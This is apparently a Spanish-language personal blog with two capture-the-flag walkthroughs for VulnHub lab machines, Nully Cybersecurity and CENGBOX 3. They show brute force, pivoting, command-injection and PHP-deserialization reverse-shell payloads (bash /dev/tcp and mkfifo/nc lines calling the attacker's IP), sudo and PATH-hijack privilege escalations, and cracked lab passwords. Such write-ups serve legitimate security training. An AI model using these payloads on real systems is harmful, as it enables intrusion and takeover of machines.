lunes, 12 de septiembre de 2022

nully-cybersecurity port forwarding

 https://www.vulnhub.com/entry/nully-cybersecurity-1,549/


Nully Cybersecurity - this is an easy-intermediate realistic machine.

While working with the machine, you will need to brute force, pivoting (using metasploit, via portfwd), exploitation web app, and using searchsploit.

About: Wait 5-8 minutes before starting for the machine to start its services. Also, check the welcome page on port 80.

Hints: 'cat rockyou.txt | grep bobby > wordlist' for generating wordlist.

Story: You are a Professional White Hat. Small company Nully Cybersecurity hired you to conduct a security test of their internal corporate systems.


0- con hydra bruteforceamos ssh bob con el hint del wordlist


entramos


la ip interna es 172.17.0.3. Sabemos que hay que rootear 3 servidores (mail,web,data) y estamos en mail


hacemos nmap 172.17.0.0/24 para ver la red interna


PORT     STATE SERVICE

80/tcp   open  http

110/tcp  open  pop3

2222/tcp open  EtherNetIP-1

8000/tcp open  http-alt

9000/tcp open  cslistener

MAC Address: 02:42:74:EA:1F:9C (Unknown)


Nmap scan report for 172.17.0.2

Host is up (0.000024s latency).

Not shown: 998 closed ports

PORT   STATE SERVICE

22/tcp open  ssh

80/tcp open  http

MAC Address: 02:42:AC:11:00:02 (Unknown)


Nmap scan report for 172.17.0.4

Host is up (0.000014s latency).

Not shown: 998 closed ports

PORT     STATE SERVICE

8000/tcp open  http-alt

9000/tcp open  cslistener

MAC Address: 02:42:AC:11:00:04 (Unknown)


Nmap scan report for 172.17.0.5

Host is up (0.000022s latency).

Not shown: 998 closed ports

PORT   STATE SERVICE

21/tcp open  ftp

22/tcp open  ssh

MAC Address: 02:42:AC:11:00:05 (Unknown)


Nmap scan report for MailServer (172.17.0.3)

Host is up (0.0000060s latency).

Not shown: 997 closed ports

PORT    STATE SERVICE

22/tcp  open  ssh

110/tcp open  pop3

143/tcp open  imap


1. rootear el servidor mail, bob


bob@MailServer:/opt/scripts$ sudo -l

Matching Defaults entries for bob on MailServer:

    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin


User bob may run the following commands on MailServer:

    (my2user) NOPASSWD: /bin/bash /opt/scripts/check.sh


bob@MailServer:/opt/scripts$ echo '/bin/bash' > check.sh

bob@MailServer:/opt/scripts$ sudo -u my2user /bin/bash /opt/scripts/check.sh

sudo: setrlimit(RLIMIT_CORE): Operation not permitted

my2user@MailServer:/opt/scripts$ id

uid=1001(my2user) gid=1001(my2user) groups=1001(my2user)

my2user@MailServer:/opt/scripts$ sudo -l

Matching Defaults entries for my2user on MailServer:

    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin


User my2user may run the following commands on MailServer:

    (root) NOPASSWD: /usr/bin/zip

my2user@MailServer:/opt/scripts$ TF=$(mktemp -u)

my2user@MailServer:/opt/scripts$ sudo zip $TF /etc/hosts -T -TT 'sh #'

  adding: etc/hosts (deflated 33%)

# id

uid=0(root) gid=0(root) groups=0(root)



2- servidor web: intuimos que es el 172.17.0.2



bob@MailServer:~$ curl 172.17.0.2

<html>

<head>

<title>Nully Cybersecurity</title>

</head>

<body>

<h1 align="center">Under Construction</h1>

<p>So, there should be a website here, but it's still under construction. -Oliver</p>

</body>

</html>

bob@MailServer:~$ 



para fuzzearlo en nuestra máquina hacemos


sudo ssh -L 127.0.0.1:8888:172.17.0.2:80 bob@192.168.2.107 -p 2222 -f -N


fuf 127.0.0.1:8888 


y descubrimos ping.php, hacemos la llamada siguiente


curl 127.0.0.1:8888/ping/ping.php?host=192.168.2.75%3Bbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.84%2F9998%200%3E%261%27 


para shell reverse


en backups descubrimos la contraseña de oliver 4hppfvhb9pW4E4OrbMLwPETRgVo2KyyDTqGF


no podemos hacer sudo y por eso entonces en nuestra máquina


sudo ssh -L 127.0.0.1:2223:172.17.0.2:22 bob@192.168.2.107 -p 2222 -f -N


así accedemos a oliver por ssh


ssh oliver@127.0.0.1 -p 2223


necesitamos escalar a oscar que es dueño de python3


python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")' 


accedemos a oscar y encontramos su contraseña H53QfJcXNcur9xFGND3bkPlVlMYUrPyBp76o


tenemos un script que nos puede llevar a root


lo transferimos con scp para analizar con ghidra


scp current-date kali@192.168.2.84:~/current-date


solo se trata de esto


oscar@WebServer:~/scripts$ echo '/bin/bash' > date

oscar@WebServer:~/scripts$ chmod +x date

oscar@WebServer:~/scripts$ export PATH=:$PATH

oscar@WebServer:~/scripts$ ./current-date

root@WebServer:~/scripts# id

uid=0(root) gid=0(root) groups=0(root),1000(oscar)


3- dataserver


en 5 tenemos el dataserver, por ftp anónimo cazamos un backup.zip oculto, lo crackeamos con john y tenemos credenciales


donald:HBRLoCZ0b9NEgh8vsECS


entramos y tenemos suid screen, usamos exploit


https://www.exploit-db.com/exploits/41154


donald@DatabaseServer:~$ id

uid=1000(donald) gid=1000(donald) groups=1000(donald)

donald@DatabaseServer:~$ cd /tmp

donald@DatabaseServer:/tmp$ ls

conftest6257  libhax.c  libhax.so  rootshell  rootshell.c  screens

donald@DatabaseServer:/tmp$ ./rootshell

# id

uid=0(root) gid=0(root) groups=0(root),1000(donald)



domingo, 4 de septiembre de 2022

CENGBOX: 3: vhost + PHP unserialize

 https://www.vulnhub.com/entry/cengbox-3,576/

Difficulty : Intermediate / Hard

1-
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-04 18:17 CEST
PORT    STATE  SERVICE
22/tcp  closed ssh
80/tcp  open   http
443/tcp open   https

2-
En 80 no encontramos nada reseñable. La clave está en acceder por 443 y fijarnos en el certificado SSL que nos va a dar el vhost:

ceng-company.vm 

3- 

A partir de ahí buscar gobuster vhost

gobuster vhost -u https://ceng-company.vm -w ../../combdir -t 128 -k

y sacamos el subdominio que nos interesa: 

https://dev.ceng-company.vm/

4- 

Tenemos una entrada de login que atacamos con sqlmap

sqlmap -u 'https://dev.ceng-company.vm/login.php' --data 'username=admin&passwd=admin' --dbs

y sacamos las credenciales de admin

5- 

Una vez dentro tenemos un script addpoem.php que envía un poema serializado. Es el punto  vulnerable para introducir un shell reverse. Después de varias pruebas el código que funciona es el siguiente:

GET /addpoem.php?data=O:4:"Poem":3{s:8:"poemName";s:6:"x";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:23:"/var/www/html/test9.php";s:8:"poemName";s:97:"<?php system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|bash -i 2>&1|nc 192.168.2.84 8888 >/tmp/ff');";}s:9:"poemLines";s:20:"x";} HTTP/1.1

6- 

hay un user eric y le encontramos un script en opt/login.py que se ejecuta en cron, en lo que parece que utiliza dos archivos auxiliares: check.sh y whatismyip.py. No podemos ver el contenido del login.py. Tenemos además tcpdump con capabilities allow any user to sniff packets

getcap -r / 2</dev/null

/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep

que es lo que nos lleva a pensar en monitorizar la red local para ver qué hace el login.py

tcpdump -i lo -vvv -A

01:17:01.621029 IP6 (flowlabel 0x12f31, hlim 64, next-header TCP (6) payload length: 77) localhost.60348 > localhost.http: Flags [P.], cksum 0x0055 (incorrect -> 0xeba7), seq 210:255, ack 1, win 342, options [nop,nop,TS val 8377147 ecr 8377146], length 45: HTTP

`./1.M.@...................................P_'.!Gl.V...V.U.....

...;...:username=eric&password=3ricThompson%2ACovid19

nos da las credenciales de eric

7- 

una vez dentro solo hay que modificar el login.py que se ejecuta como root con otro shell reverse

import os; os.system("bash -c 'bash -i >& /dev/tcp/192.168.2.84/9999 0>&1'");

                                                                                                                                      
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9999
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 192.168.2.135.
Ncat: Connection from 192.168.2.135:52700.
bash: cannot set terminal process group (5331): Inappropriate ioctl for device
bash: no job control in this shell
root@cengbox:~#